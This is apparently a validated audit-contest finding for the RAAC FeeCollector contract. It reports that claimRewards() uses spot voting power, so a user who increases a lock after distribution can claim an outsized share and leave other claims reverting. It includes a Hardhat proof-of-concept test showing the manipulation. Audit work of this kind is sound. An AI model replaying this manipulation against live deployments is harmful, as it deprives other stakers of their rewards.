Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

[H-04] Use of spot amount of voting power in claimRewards() can result in insufficient funds for rewards

attentioniayn

Summary

The implementation of claimRewards() in FeeCollector doesn't account for sudden changes in voting power after a distribution of rewards, resulting in insufficient funds and a revert on the claim.

Vulnerability Details

The vulnerability stems from the fact that claimRewards() relies on the spot amount of voting power of the claiming user, this means that if the distribution of voting power changes significantly during the claiming period, the sum of the distribution will be greater than 100% (aka not enough funds).

Location 1
Location 2

Impact

Some claimRewards() calls will fail due to a lack of tokens in the contract, this reflects poorly on the resilience of the protocol and might turn away affected users.

Tools Used

Manual review.

Recommendations

Unfortunately there is no easy solution to give a fair share of the rewards to the staking users.
A very easy "solution" would be just capping the amount of rewards withdrawable to the ones available, so as to avoid a revert.
A better solution would be storing the total voting power at the time of distributeCollectedFees() and stopping users that perform lock()/increase() after that distribution from participating in the claim until the next distribution. This way the distribution would sum to 100% due to always keeping the same denominator.
Any solution should be carefully considered within the objectives of the project since there is no trivial solution to implement.

Proof of Code

This snippet shows a scenario in which the minted rewards are not enough to cover the claims of all users at that time.

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time, mine } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
​
describe('Exploit Tests', function () {
// Set higher timeout for deployments
this.timeout(300000); // 5 minutes
​
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
​
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
​
// Set house price for testing
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
​
// Mint initial tokens to users
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
​
describe.only('Bugs:', function () {
​
it('[H-04] Use of spot amount of voting power in claimRewards() can result in insufficient funds for rewards', async function () {
const TRANSFER_AMOUNT = ethers.parseEther('1');
​
// Get some veRAACToken in order to receive rewards, two users to avoid edge case
await contracts.raacToken.connect(user2).approve(contracts.veRAACToken.target, TRANSFER_AMOUNT);
await contracts.veRAACToken.connect(user2).lock(TRANSFER_AMOUNT, 3600 * 24 * 365);
await contracts.raacToken.connect(user3).approve(contracts.veRAACToken.target, TRANSFER_AMOUNT);
await contracts.veRAACToken.connect(user3).lock(TRANSFER_AMOUNT, 3600 * 24 * 365);
​
// Collect fee
await contracts.raacToken.connect(user2).approve(contracts.feeCollector.target, TRANSFER_AMOUNT);
await contracts.feeCollector.connect(user2).collectFee(TRANSFER_AMOUNT, 0);
console.log("Amount of fees in feeCollector: " + await contracts.raacToken.balanceOf(contracts.feeCollector.target)); // 1000000000000000000
​
// Distribute fees, including veRaactoken holders
await contracts.feeCollector.connect(owner).distributeCollectedFees();
console.log("Amount of totalDistributed: " + await contracts.feeCollector.totalDistributed()); // 800000000000000000
​
// user3 claims their rewards and fails
console.log("Amount of fees for user3: " + await contracts.feeCollector.getPendingRewards(user3.address)); // 399999987316083208
await contracts.feeCollector.connect(user3).claimRewards(user3.address);
​
// user2 locks more raac to capture a bigger share of the profits
let takeOver = await contracts.raacToken.balanceOf(user2.address);
await contracts.raacToken.connect(user2).approve(contracts.veRAACToken.target, takeOver);
await contracts.veRAACToken.connect(user2).increase(takeOver);
​
// user2 claims their rewards
console.log("Amount of fees for user2: " + await contracts.feeCollector.getPendingRewards(user2.address)); // 799599599574219080
try {
await contracts.feeCollector.connect(user2).claimRewards(user2.address);
} catch(error) {
expect(error.message).to.include('ERC20InsufficientBalance(');
}
});
});
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!